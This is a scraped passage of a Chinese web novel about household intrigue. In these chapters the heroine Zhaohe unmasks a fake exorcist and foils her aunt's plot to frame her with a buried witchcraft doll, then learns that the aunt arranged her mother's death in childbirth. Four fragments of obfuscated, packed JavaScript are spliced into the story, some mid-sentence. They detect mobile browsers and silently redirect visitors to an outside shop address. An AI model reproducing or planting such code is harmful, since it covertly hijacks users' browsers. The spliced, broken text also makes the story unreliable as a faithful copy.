朝和朝她摇摇头，转瞬又神秘地侧脸一笑。 珠连百思不得其解。她却惬意地弯了弯唇角，深吸了一口气，朝门内高声大喝。 惊得树上的小雀都扑棱棱地飞去了。 “珠连，既然大姐姐不愿见我，想必是伤病未愈。”她一声更比一声高，“所谓心气致郁，忧思绵长，姐姐可要多多保重！” 朝和顿了顿，又故意唉声叹气道：“等了半天，我着实熬不住了，珠连，我们先回去，明日再来。” 只见她搭着珠连臂弯，殷勤得一步三回首，情真意切的言尽，这才施施然转身离开，面庞红润，眉眼带笑。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576771|187142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >…… 栖霞院。 朝容衣冠齐整，指尖沾着糖屑，又伸手掂了片糕。 听外头喧喧闹闹，声音远而真切，不由呆愣当场。 “娘。”朝容缓缓转头，满眼迷惘，“朝和疯了？” 话毕，不等赵氏回答，朝容已自顾自地迈出门槛，探身去瞧仆役的面貌，她只抻出去一只手，余下一只缩在门扉上。 不过望了须臾功夫，朝容已咬牙切齿地扭头，朝里间的丫鬟呵斥道：“弄月！去！把那几个嚼舌根的贱奴给我扣下！好好掌他们的嘴！” 她甩袖而归，怒气冲冲地坐至赵氏身前，抄起桌沿的水便一饮而尽，随即气喘吁吁地擦了擦嘴角，怒斥道：“这帮狗奴才！” 朝容痛骂着，又急不可耐地转眸：“娘！” “你不晓得方才有多难看！”她怨愤道，“三个五个的聚作一堆，时不时朝我房门瞥一眼，让我抓了个正着！这帮小蹄子，明摆着是讲咱们的闲话！” 她一把将手帕甩开，重重跺了下脚，侧目见赵氏一声不吭，只好哭丧着脸坐回原处：“娘！您可要替我想办法！” “朝和哗众取宠，先前就出尽了风头，如今还有脸来我房前叫嚣，真是恬不知耻！”朝容愤恨完，又忙去摇赵氏的胳臂，哀求心切，“娘！娘！我全仰仗您了，您要替我做主啊！” “好了好了。”听她哼唧不断，赵氏也烦不胜烦，只好出言慰劝，“要娘说，那朝和算个什么东西，寿宴上哗众取宠的玩意儿，碰巧而已，你真当她次次好运？” 见朝容止住了眼泪，赵氏又道：“要娘说，你也别露怯，万事有娘在呢，啊？” “再说，还有上次的好戏没排呢。”赵氏冷笑了两声，又嘱咐道，“对了，容儿，去把你妹妹叫回来。” “免得过两日，连口供都对不上。关键时候，又惹人厌烦。”赵氏按了按额角。 …… 虽是正午，天色却阴沉沉的。 雨簌簌地淋下来，又晕在人身上，透着湿漉漉的腥气。 远处的一棵老柳树也蒙了层雾气，朦朦胧胧的，仿佛天都被糊成了青色。 朝和携着合璧，撑着把伞慢慢走，雨簌簌地打在伞上，离近了一瞧，方见得树下的情景。 只见有个端庄正肃的老道士，手举桃木剑，脚踏北斗步，围着树干虔诚地转，口中念念有词。 而距他不远处，正大开着几扇窗户，露出几张阴郁的脸来。 朝和一见便笑。 “大晌午的，紧巴巴地将我喊来，饭都没吃上，这也就罢了。”朝和喟叹，“请了个神神叨叨的疯子在雨里漫步，意欲何为啊？”她讽刺地勾起唇角。 赵氏一马当先。 “朝和，休得胡言！”她蹙眉道，“吴大师可是有名的术士，岂容你置喙？” 她望了望正沉浸做法的老道，欣慰极了似的点点头，眉间浮上一抹宽宥来。 可当她脸转向朝和，却是义愤填膺： “大师路过此地，惊觉公府阴气冲天，遂自请诛邪。此等高风亮节，你不仅不感怀于心，甚至口出狂言。” 赵氏柳眉倒竖：“简直是无法无天！” 11. 道士 “野鬼不除，则家宅难宁。”赵氏怒斥，“若惹大师不快逼他一走了之，这滔天的阴气谁来祛除？” “朝和，阖府寝食难安的罪责，你担当得起吗？” 见赵氏义愤填膺，朝和冷不丁勾起唇角。 “真是好大的帽子啊。”她喟叹，笑意不达眼底，“朝和可担当不起。” 她叹完，也不听赵氏愤慨，掉头望向道士。 “那敢问这位道长，你既说诛邪，不知寻着鬼物了没有啊？” 她话音刚落，也不等道士回答，自问自答道： “不会就是这棵老柳树吧？” 朝和言笑晏晏，眼波流转间，天真烂漫的小女儿情态展露无遗： “哎呀，我听话本子上讲，这妖精呢，个个美貌非凡，又全爱惜羽毛，怎么，这柳树精，身上满是癞疤，着实受了不少苦呢。” 她蹙眉唏嘘着，仿佛真在替柳树叹息。 “休得胡言！”那道士却将眉目一凛，不管三七二十一，木剑直刺朝和，“妖孽，还不束手就擒！” 可朝和却唇角轻扬，任凭那木剑径直袭来，躲都不曾躲，神色一派从容，仿佛是料定了伤不得她分毫。 果真，木剑猛然停下，距朝和面目仅有微毫。 那道士冷汗沁骨，面含惊惧：“怎么，你竟不避开吗？” 朝和却歪头反问，神色甚是不解：“我又不是妖邪，何故要避？” “倒是你。这剑尖，倒直冲我来了？”谈笑间，朝和甚至伸手弹开了木剑，“莫非是，道长眼拙，将小女子当做了柳树精？” “唉，罪过罪过。”朝和唏嘘。 见她摇头晃脑，浑然不将自个儿放在眼里，道士仓皇之下，脸上早分不清是汗是雨。 他虚虚朝窗户瞥了一眼，硬着头皮道：“大胆妖孽！你正身在此，怎敢这等猖狂？劝你早做打算，否则本体覆灭，你魂飞魄散！” 朝和却是饶有兴致地往前跨了一步。 见道士步步后退，眉眼张皇，她笑意更浓。 “好啊。”她点点头，“你便刺吧，我瞧上头不少黄纸，你且试试，若这树真死了，我还能不能活。” 那道士汗如雨下，却仍故作镇定：“你法术高深，不知在此处布了甚么道法，老夫竟动不得这柳树分毫！且正午时分阳气最重，如今却雨下不止，淅淅沥沥，摆明了是你作怪！” “老夫正气护身，你若再干向前一步，我定教你好看！” “哎呀，道长，您真是前言不搭后语。”朝和垂眸叹息，“一会你本体在手，我为鱼肉；一会我术法高深，你无可奈何，如此矛盾，我不得不怀疑，你究竟是出自哪个道观了，竟连话都说不清，白白丢师爷的脸。” “敢问道爷，您师传何处，道归哪统啊？” “你……你……”那道士支支吾吾了一会，又色厉内荏道：“你这妖孽，惯会逞口舌之快，老夫师承何处，哪归你管？胡言乱语，老夫能拿你便是！” 朝和点点头：“原来如此，道爷自恃高强，可实际口拙舌笨，无家无观，无能无力啊！” ”你！” 见道士外强中干，朝和步步紧逼： “方才我连桃木剑都碰了，也未见得有伤分毫； 至于你所言正午下雨，此事古往今来月月年年有，有何稀奇？若真是妖邪所致，难不成不是你们道士失职？与我一个病弱女子何干？ 由得你颠倒黑白，胡作非为！” 见道士哑口无言，朝和朝窗前遥遥一颔首，叫道：“祖母！” “方才所景您必定看了分明，孙女蒙冤深重，已剖明自身，这老道装腔作势，满口胡言，想来根本不是什么道士，不过是个跳大仙的罢了！” “这柳树生自兴盛，依府而居，早不知多少年，若真由这老汉坑蒙拐骗一并铲走，那才是天大的罪过！” “还望祖母明鉴！”朝和冷笑。 她眼中森然，直指窗沿： “莫被，奸人蒙蔽了双眼才好啊。” 只见那厢几位交头接耳一番，不知是使了什么眼色，朝和身后那老道竟仿佛死灰复燃了起来。 “老夫！老夫还有要事禀告！” 朝和讥笑侧目：“还有？” 那老道却倏地张狂得瞧都不瞧她一眼，径直朝窗棂拱手：“老夫方才掐指一算，竟察觉，二小姐的院子里，埋了巫蛊人偶！” 此话一出，四顾骇然。 叶氏两眼一眯，敛下精光：“老二家的，跟我走。” 不过须臾功夫，朝和极目远眺，窗前那几个早不见了踪影，料想是往蒹葭院去了。 那老道见状，捋了捋胡须，端看是得意洋洋。 “二小姐。”他长叹一气，却阴森森地弯起唇角，“您可真糊涂啊。” “糊涂？”朝和挑挑眉梢：“那咱们便跟上去瞧瞧，究竟哪个最糊涂。” “合璧，走！” …… 家丁?一下铲，朝和后脚便到了。 望着满地狼藉的院落，朝和心中啧了一声。 “小姐！”合璧惊呼着，低声朝她咬耳朵，“他们怎么能把小姐的院子挖成这样？” “真是越发不像话了！” 见她义愤填膺，朝和反笑：“合璧，你这胆子也是愈发大了。” “小姐！”合璧低低抗议。 “好好好我说正事。”朝和无奈投降，转瞬又挑起嘴角，“还能怎么着，老太太的命令，自当是要多卖力有多卖力。” 她笑意凉薄。 “那也不能这样吧？”合璧抱怨，“到时候修缮，不得咱们掏钱？” “你这话正正说在点上。”朝和冷笑，“放心，该出的不该出的，都教他们一并吐出来。” …… 赵氏虽成竹在胸，却也眉目焦灼。 方才老道失策，她干脆使了个眼色教他再谈一计。 好在朝和这小蹄子虽邪性得很，老道却也抗住了威压，这才有顺理成章地搜院。 只是无端的，她心里猛然间惴惴不安起来。 那土“沙拉拉”地落下，她自己也恍若被揪住了心肝，有说不出的仓皇。 可这怎么可能呢？赵氏迷惘。 那巫蛊人偶是她亲自盯着埋下的，万不该有差错才是。 多思无益，还是先瞧接下来为好。 她这厢打定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576772|187142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主意，刚放下心神，朝和便悄无声息地靠过来了。 “二婶。”她幽幽道，“那道士分明是个骗子，但将将我瞧得清楚，是您力排众议要翻土搜院的哪。” 赵氏心中本就有鬼，被她这么一吓，顿时有如惊弓之鸟，险些魂飞魄散。 “你说什么？”她强装镇定，“阿和，二婶劝你还是早些认错，免得真搜出些不干净的东西，老祖宗震怒，给你罚个赶出家门跪祠堂的重罪，那便不好了。” 见赵氏心乱如麻不打自招，却得意洋洋，俨然是自认手掌一切毫无差错的模样，朝和不禁冷笑。 把她赶出府去？朝和皮笑肉不笑。 “那便、拭目以待了。”她颔首，眼中晦暗不明。 二人这厢对峙，那头“噗呲”一道闷响，回首一望，是家丁将铲插进了土下。 那汉子面露疑惑：“夫人，这附近兄弟们都掘遍了，没见什么娃娃啊？” “怎么会？”赵氏惊叫一声，瞪大了眼睛，“你们定是找得不够仔细！” “挖！再给我挖！”她目眦欲裂。 几个壮丁面面相觑，苦着脸应了一声，又转过身去了。 赵氏呼吸不平，气喘吁吁，朝和却从从容容地凑过来，平心静气道： “唉，二婶。您瞧瞧，这怎么不够仔细了？” 她努努下巴：“一眼望去，大大小小的，全是坑洞。” “这淋着雨，家丁也够卖力了，您再这样挖下去，不提蒹葭院要翻个个儿，便是人，也要累死了，冻病了。” 朝和唉声叹气着，冷不丁又请示道：“祖母，您说是不是呀？” “我爹可是快要回来了，若教他瞧见这坑坑洼洼的小院子，他老人家情何以堪啊。” 见朝和举起袖子就要抹泪，不等叶氏出声，朝彦先开了尊口：“阿和，有叔父作保，你这院子，必叫你和大哥都满意。” 朝和闻声，高高兴兴“哎”了一声，利利索索放下了手臂。 朝彦“嗯”了一声，又道：“今日这事，是你二婶心急，乱了分寸，若真搜不出什么来——” 他顿了顿，往旁使了个眼色。 谁料对方满眼坑洞，无心接收，朝彦心烦意乱之际，也只得错开目光，耐下性子找补：“都是一家人，你莫跟她计较。” 不计较？朝和心里冷笑，面上却笑吟吟的：“二叔哪里话？您金口玉言，愿承担蒹葭院修缮，阿和自然感激不尽。至于二婶，若二婶莫再揪着我不放，小辈怎敢与她计较？您说笑了。” 她两三句将朝彦堵得哑口无言，直气得他吹胡子瞪眼。 “你！” 可一言既出驷马难追，众目睽睽又不好与女孩儿计较，朝彦也只得咬咬牙，吃下这个闷亏。 他“哼”了一声紧锁眉目，三番五次再瞥赵氏，眼光满是不善。 偏偏赵氏无知无觉，仍难以置信地站在大洞边上，腿脚溅上泥土也恍若不觉。 朝彦终于忍无可忍大喝一声：“夫人！” 这一声跟叫魂似的，赵氏惊慌失措，终于回神，可她蓦然回首，映入眼帘的，却是丈夫不胜其烦的目光。 “老爷？”赵氏呆若木鸡。 12. 巫蛊 见妻子仓皇惊惧，朝彦腮帮一紧，也不忍多说，遂缓和了面色：“夫人劳心伤神，想必已疲惫不堪，为夫陪你回房休息，你意下如何？” 他本欲先退一步，借坡下驴；偏赵氏不解其意，只当他关心则乱，一口谢绝： “夫君放心。妾身强健，还能硬顶。” 她款款一笑，转头又冷声吩咐：“快些！耽误了老祖宗老爷的时辰，你们担当得起吗？” 见她不管不顾硬淌浑水，朝彦早已气得不轻。可惜在外不得发作，他只得强忍按耐，静观其变。 朝和旁观半响，反倒兴致盎然。 她瞧了瞧脸色铁青的朝彦，又瞅了瞅颐指气使的赵氏，倏地笑出了声。 “二婶，依朝和愚见，二叔并不是您所料的那个意思吧？” 她笑吟吟的，顷刻便吸引了赵氏的目光。 “你此言何意？”她冷笑，半眯着眼，“难不成我自己的丈夫，你比我还了解吗？” 她勃然大怒，朝和却仍面不改色：“二婶莫动气，您身为长辈，我哪敢僭越？不小辈拙见罢了。只是思及您二人夫妻一体，有道是，察言观色，方能互无隔阂。不过，这听与不听，还不是全在您？” 她慢吞吞道。 见她装腔作势说不敢逾矩，却句句道尽冒犯之语，赵氏不禁怒火中烧。 “放肆！”她色厉内荏，大喝一声，余光小心瞟了一眼朝彦。 察其眉目阴沉果真如是，赵氏不觉一愣。 朝和一见，趁机火上浇油：“您瞧，我说了您还不信。既到了如今这个地步，我也不得不站出来说句公道话了。” 她余音未尽，赵氏已匆忙回过神来，怒斥道：“你闭嘴！” “那怎么能行？”朝和摇摇头，叹息，“您此刻站着的可是蒹葭院的地方，用得是国公府的丁，我如何置身事外？” 她冷笑：“如今坑也挖了，地也翻了，院也搜了，压根什么都没有，您却仍揪着我不放。” “二婶。”她转身面朝赵氏，面露讥诮，“那老道分明是个骗子，究竟是给您灌了什么迷魂药，才叫您对他深信不疑，糊涂至此？” “你！” 赵氏气急败坏，伸手就要掌掴，朝和却一把抓住了她的手。 “看来二叔所料不虚。”她叹息道，手上的劲一分不松，面露讥嘲，“您果然是疲惫不堪。 她一字一顿道。 赵氏手腕分寸未进，挣扎片刻只得悻悻缩手，朝和顺势卸力。 她扶着小臂，踉跄几步，分明丢了颜面，却仍架着面子冷笑： “朝和，你未免太看轻了我。我若没有确凿的证据，何故大动干戈？” 朝和不置可否，赵氏却愈加忿忿。 只见她偏脸往身侧一唤：“絮儿！” 随即有个婢女从人群后走出，众人这才察觉她还携了别的丫鬟。 “眼熟吗？”赵氏得意洋洋，“朝和，这可是你院里的丫头！” 朝和笑，神色依旧从容：“蒹葭院的奴才，两只手就数得过来，也难为二婶记挂我。” “这丫头怎么了？”她审视的目光在那丫鬟脸上停顿了一瞬，又状似不解道，“莫非是不懂事，得罪了二婶？” “怎会？”赵氏掩唇，“这丫头可懂事得很。” “你以为我为何斩钉截铁？便是絮儿检举你！” 她余音未尽，絮儿便“扑通”一声跪地：“奴婢，奴婢不敢欺瞒老夫人，老爷和夫人。二小姐，以巫蛊人偶祸乱人心，确是奴婢亲眼所见！” 她颤抖着，仿佛是鼓足了极大的勇气般抬起头：“二小姐，小姐！您就招了吧。 这样邪门的东西，奴婢自瞧见那日起便不得安枕。 如今，如今是再无法替您隐瞒下去了！” 朝和却嗤笑一声：“我且问你。你既说亲眼目睹，难不成，是二月廿三那日？” “……不错！”絮儿惊慌失措，左顾右盼了一会，终于跪伏在地，“奴婢想了一会，正是二月廿三！” “一派胡言！”合璧蹙眉，“那日小姐分明与珠连一起，往栖霞院探望大小姐，一连数日有目共睹，满府的下人都能作证，岂容你污蔑？” 赵氏陡然一惊，她下意识抓住了女儿的衣袖。 “她，她原来打得是这样个主意。”朝容骇然，“可是，可是她怎么知道——” “嘘！”赵氏一把捂住她的嘴，冲她摇摇头，又往絮儿那头抛了个眼色，可手仍止不住的颤抖。 “……奴婢，奴婢想起来了！”絮儿似回过神般哆嗦了一会，又张慌大喊，“是，是黑夜！没错，奴婢当日听闻小姐说，白天太惹眼了，月黑风高才好行事！” 她话罢，又深深埋下了头。 “黑夜？”朝和轻笑，“若真是我所为，此等严密之事断不能走漏了风声。不提看见，恐怕知晓也难得。你又是如何亲眼目睹，还未被我抓住？ 何况二月廿三值夜之人并非是你，你一个奴才，坏了本分偏去注意我一言一行且不多说，这违反府规私自夜行又是要闹哪般？” 那絮儿浑身颤抖，想辨解却无从说起，只好嗫嚅几下，再不敢吭声。 眼见是理屈词穷。 朝和讥刺地瞥了她一眼，又道；“再者，巫蛊之术事关重大。要么，我亲力亲为，要么，我紧盯下人做。” “可无论哪种，都必定劳心费力。阖府周知，我是这么个病殃殃的模样，怎撑得住一宿通宵？” “二婶，您不妨问问祖母。”朝和冷笑，“自神智恢复，我可有过一次晚到，遗漏过一日请安？” 见老太太沉默不语，赵氏哑口无言，朝和环顾周遭，早明了净是一丘之貉。 “我虽不解二婶为何偏听偏信，寻奸人以为证，指控我炼巫蛊人偶害人。”朝和冷冰冰道，“还逼得家丁累死累活，冒雨也要将我这蒹葭院翻个个，却依旧一无所获。” “只是您咄咄逼人之势，不得不教我疑心，今日这出，究竟是二婶真被蒙蔽，还是——” “自导自演？”她讽刺地牵起嘴角。 朝和话音刚落，赵氏当即愤慨：“你没有证据，休要血口喷人！” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576773|187142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“我只是猜测罢了。”朝和平心静气道，“您这么激动作甚？” “您不也是凭着外人三言两语，便携了一干人等来搜院吗？” “我居所被毁，含冤蒙屈尚来不及多说，您情绪如此激动，倒显得我不懂事了。” 朝和顿了一下，又恭维朝彦：“所幸二叔极明事理，愿全权包揽我这陋居修缮，朝和真是感激不尽。” 她垂眉屈膝行礼，朝彦应也不是，不应也不是，只得尴尬得僵持在原地。 见状，朝和悄悄弯了弯唇，又喟叹着补充：“父亲回京在即，想必他瞧见蒹葭院焕然一新，也会倍感欣慰吧。” 此话一出，朝彦再不能充耳不闻，只得干巴巴地回了一句：“这个自然。” “那便谢过二叔。”朝和冲他点点头，又嫣然一笑，“那既然话已说清，若无要事，阿和便先行回房休息了。想必是劳累太过，以致忽感无力，无福欣赏雨景。若各位长辈赏脸，不如也来蒹葭院休憩，阿和必定喜不自胜。” 她倒是笑盈盈的，可对面几人哪肯吭声？纷纷面色难看，未置一词。 “那便不强求了。”她叹了口气，又低声道，“合璧，我们走。” 合璧应了一声，随即转身，刚走了两步，却迎面撞上个人来。 合璧抬头一看，当即大吃一惊：“三小姐？” “您怎么在这儿？” 不错，来者匆匆，正是朝仪。 不等朝和诧异，赵氏已大喝一声扑了过来，不管不顾地吊起女儿的手臂质问： “朝仪！”她气急败坏道：“你怎么现在才来？” “你这没心肝的丫头，”她边骂，边拼命晃荡着朝仪的胳膊，指甲仿佛要掐进她肉里，即便女儿疼得抽气也不曾放手，“你知不知道，因为你没来，我和容儿——” “夫人！”朝彦罕见地朝赵氏发了火，“还要再说吗？” 赵氏愣怔了一下，回神间，她茫然回首望了望丈夫警告的神色，可瞥过眼去，便瞧见了朝和。 她正与合璧相扶着，眼中闪着饶有兴致的光。 无端的，赵氏竟打了个寒噤，即刻便噤了声。 即使觉察自己事态而悻悻收手，却依旧是猛然间的动作，她箍得朝仪那样紧，松手的刹那，朝仪不可避免地趔趄了几下。 赵氏却仍是一副习以为常的神色。 她死死瞪着朝仪，恶狠狠指着女儿的鼻尖，仿佛要戳穿朝仪的脸。 那模样，咬牙切齿的，不像在看女儿，反倒像在瞧仇人。 朝仪疼得直冒眼泪，却只是抱着胳膊喏喏应声，姿态卑微又可怜。 她垂着头，来了一刻钟都不到，便被赵氏生拉硬拽地推走了。 合璧看得唏嘘：“这三小姐，过得都是什么日子哪。” “都是一个娘生的，我瞧二夫人，待大小姐简直好的不得了。怎么轮到这小女儿，便这般苛待？” “欸，小姐。”合璧忽然道，“你说，就算二夫人偏心，可这是在众人跟前，多少双眼睛看着，她何必暴露本性呢？也不怕坏了名声？” 13. 前事 “你这话说得在理。"朝和沉吟道，转眼已走到窗棂边上了。 她漫不经心地勾着雕花格子，指腹湿润润的:“或许是被气得神志不清了吧。" 合璧才垂眸收了伞，此刻抬起头，见朝和不先脱外袍歇下，反倒急着来回走，不由愣怔了片刻，乍闻声响才回过神，忙伸手拦她:“欸，小姐，奴婢来吧。您小心被风吹着了。" "无妨。"朝和摇摇头，兀自掀开了窗棂。 她仰脸望着天空，云缝哆哆嗦嗦的，像个碎了的琉璃盒子，层层叠叠地、从里头漏出光来。 她出神地看了一会，转头就朝合璧笑。 “能亲手开窗也是好的。"朝和弯弯唇，“你瞧，能头一个见着天晴了。" “天光大亮的时候，思绪总会清明些。"她轻声道，倏地若有所思地叫了一声，"合璧。" “雨停了，我们去芳芜院走一遭罢。" “啊?"合璧讶异，"小姐刚回来，不歇歇吗?" “走吧。"朝和利利索索低头，将斗篷新系了一遍，"你叫上珠连，我们一块儿去。她总得认认脸才行。" 她顿了顿，又道:“方才赵氏那幕，在我心头盘旋了许久。" "或许，症结不是娘，而在女儿身上。" ...... “二小姐的意思，我明白了。"容氏吹了吹茶上的浮沫，“您觉得，是三小姐有意而为之。" “难道不是吗?"朝和反问，“二叔好面子，连带二婶亦如此。众目睽睽下这等做派，确实有失公允吧，明眼人一瞧，难免要议论。" 朝和凝望着透亮的茶汤，敛眸嗅了嗅茶底:“何况，她娘拽着她，她爹都走前头去了，她却回头往旁瞥了一眼，无缘无故的，难保不是刻意。” 容氏静静听着，末了又含笑:“仅凭如此吗?“ 朝和闻言，顿了一下。 她瞅了一眼容氏，似笑非笑道:“还有一点。” “巫蛊人偶信报的直接来源，其实不是朝卉，而是朝仪吧。” 她说这话时，心中并非拿定了主意，是以仍紧紧盯着容氏，不敢错过她脸上一丝神情。 容氏倒是痛痛快快承认了：“不错，是她。” “你是推测出来的？” 朝和不置可否：“一半一半吧，不过早有眉目。” 见她含含糊糊地应着，容氏反倒起了兴致：“何以见得？”她笑吟吟道。 朝和半眯着眼睨她，见后者仍是一副硬要问到底的笑脸，也不得不沉吟着开口： “回回请安都撞见她姐俩相对没个好脸，赵氏又是偏帮一方，连带着寿宴上也是宠着姐姐招摇过市，却教妹妹龟缩角落。 一场下来，连个人影也无，低低调调的，与朝容简直不像一个娘养出来的。 她这样的秉性，往好处说是谨慎妥帖，往坏了讲，便是在家人跟前，伏小做低了。” 此话脱口而出，朝和不由一怔，她望了一眼容氏，见其恍若未觉，遂顿了一下接着道： “巫蛊事发，是她亲娘的策划，这样的大事，赵氏必定提前做过准备。偏偏朝仪今日出了纰漏，临作别了才匆匆赶到，委实惊奇。” “她往我丫头身上撞那一下，我便起了疑心。”朝和摇摇头，“冒冒失失的，不像平素的做派，倒像是演给谁瞧似的。” “委实太刻意了些。”朝和评价道，“综合计较，也只有我这个三妹了。” 她长篇大论讲了一通，临末了才惊觉自己话密，虽懊恼自己啰嗦起来没完没了，却也只得硬着头皮道罢了前言，时而分心去看容氏的神色。 后者始终默默听着，可瞧朝和的目光却有些别的意味，朝和粗粗望了一眼，还不等她细究，容氏便点着头开口了：“你说得全然在理，也比我预料中想透的时机要快得多。” 朝和却摇摇头：“我来寻你，并非说这些。” “消息是真是假，她又是如何传递给你，早在挖出木偶、想起朝卉那时，我便了然于心，”朝和沉声道，“只是我不明白，她何必相帮呢？” ——朝和自己是二房的对头，容氏是她亲娘的对头。她让朝卉给容氏报信，顺水推舟送了容氏个人情，让二房颜面受损，又令朝和最终得利。 大费周章，竟指向个匪夷所思的由头—— “或者说，她竟那般恨自己亲娘？”朝和拧起了眉心。 容姨娘却并不答话，她随手拨了拨桌上的花枝，沉吟着反问道：“二小姐以为呢？” 朝和也看向窗沿的花瓶。 随着容姨娘的动作，有几朵桃花簌簌落下了，极艳的，却顷刻就被浸透了，飘忽不定地浮在水面上，仿佛柔弱无依。 花瓣裸露着细细的脉络，颜色深浅不一。整片花都薄得透明。它舒展得太厉害，像被什么摧残过，好像不过须臾，便要被扯成四分五裂了。 “大约是瞧不惯亲娘偏疼，又常受虐待吧。”朝和沉声道，她忆起方才的情景，回想着赵氏下意识的举动，亦不免心寒。 “她是打算找人合谋，加以报复吗？”朝和问。 “说不清。”容氏依旧摆弄着花枝，“不过弄清了不是敌人，便足够了。” 朝和垂眸望着透亮的茶汤，许久才低声道：“姨娘倒是看得很开。” ——方才那股对她刨根问底的劲呢？朝和腹诽。 容氏弯唇，目光飘忽地望向窗外，似应答，又似自语，神情柔和地喟叹道：“这高门大户的，我们娘俩孤苦无依，总得自谋生路吧。” 朝和沉吟道：“我既欠了你个人情，你且说说，要我帮你什么？” “赵氏要赶我出府，你要谋求生计，也算达成共识了。” 容姨娘却沉沉地看着她。那眼神，仿佛是一本大部头书落了下来，尘埃滚滚的，模糊又难解。 只听她没头没尾地冒出来一句：“你不想听听你娘的事吗？” “我娘？”朝和诧异。 她二人本在谈论赵氏，容氏却倏地提及崔氏，这其中必有缘故。 除非—— 崔氏血崩而亡，实为人祸。 此事虽匪夷所思，却也并非不可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16580946|187142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能。 崔寒英出身簪缨世家，身强体健却突然早产，细想之下，确实疑点重重。 若真是赵氏所为，老太太与二房蛇鼠一窝，必会伪造讯息销毁证据。 再加上早年朝和心智不全，她爹又征战在外，连女儿都顾不上，况论是全家言之凿凿、已盖板论定的旧事？ 可此等阴私，容氏身为二房妾室，又是从何而知？ 若不是有不得了的耳目，便是也掺了一脚。 思及此，朝和原本惊疑不定的神情骤然变幻，眼中也晦暗不明。 容氏却喟叹长叹：“二小姐不必如此看我。” “我对大夫人从未起过坏心。”她苦笑，“至于真相，不过是偶然偷听到的罢了。” 容氏定了定神，又沉声道：“是赵氏，她买通了替大夫人接生的稳婆。” “那你呢？”朝和依旧半信半疑，她不依不挠地追问，“如此私密之事，想必不容易探听吧？” “彼时事发，大夫人血崩亡故，院子里大换血。”容氏眉间染上痛色，“原先的那些仆役，杖毙了不少，走脱的不多，我费尽心思，才寻着了你娘的贴身丫鬟，是当日守着你娘生产的，叫小翠，为人机灵得很，这才侥幸偷逃了出来。” “她告诉我，大夫人离世另有隐情。可小翠到底是个丫鬟，身份低微，傍靠夫人存活。如今主子死了，府内也不许声张，简直是状告无门。” 容氏说得眼含热泪，朝和看着她，心里也有些动容。 可她嘴上一点没松劲，仍硬邦邦的：“我凭什么信你？” “我何必骗你？”容氏愣了一下，脸上绽出个堪称凄艳的笑来，“你娘她，于我有恩。” 她闭了闭眼，又道：“若我连恩人都编排——” “那才是猪狗不如。”容氏斩钉截铁。 朝和审视着她，神色却已和缓许多。 “有恩？”她轻声道。 容氏点点头。 “虽只有一面之缘，却胜过千言万语。”她苦笑着，眼神却怀念，“若非得遇你娘，说不准，我压根活不到此刻。” 朝和默默听着，心里已有了几分猜测，却依旧耐心等着下文。 “男人嘛，多薄幸。新鲜劲来得快，去得也快，他后院又姬妾如云。争风吃醋的架势，比之青楼更甚，是以我没度得几日风光。”容氏满脸惆怅。 “失了宠，底下人又惯爱拜高踩低，二夫人也瞅准时机打压，外加没有子嗣傍身，与其余妾室同居一所时，难免要遭人白眼。尤其我还是个从风尘里出来的，自然更惹人嫉恨些。” 容氏说着，脸上却流露出回忆往事的茫然来，还带着几分自嘲的笑。 她像条洗净了的旧缎子，又重回脂粉堆里滚了一遭。哪怕揉开了，压平了，可瞧着那笑纹，也不免令人唏嘘到底盖不住岁月的痕迹，仍要时不时地、簌簌落下些陈旧的细粉，又干又糙，刮得她生疼。 可她终究是熬过去了。朝和想，尽管那样苦，那样涩，她还是成了这偌大的后院里，赵氏雷霆镇压下，幸存下来的唯一一个。 14. 祸首 “我那时是个木偶，浑浑噩噩的，满心想着得过且过。偶尔伤心至极，也会想寻个角落坐着。虽孤零零的，可总比女人堆里好。”容氏回忆着，唇边挤出一个苦涩的笑。 “幸而确有个所在，僻静又罕为人至。”容氏颔首，“受了委屈又捱不住，我便去那里待着，发泄一通，总会好受许多。” “你与我娘，便是那时候遇见的？”朝和轻声问，她凝视着容氏的脸庞。 “是。”容氏微笑起来，“她大约是散步累了想歇歇，无意寻到了这么个地方，谁料有人哭，不由诧异。” “不过，她什么也没问，只是递了条绢帕给我。”容氏弯眉。 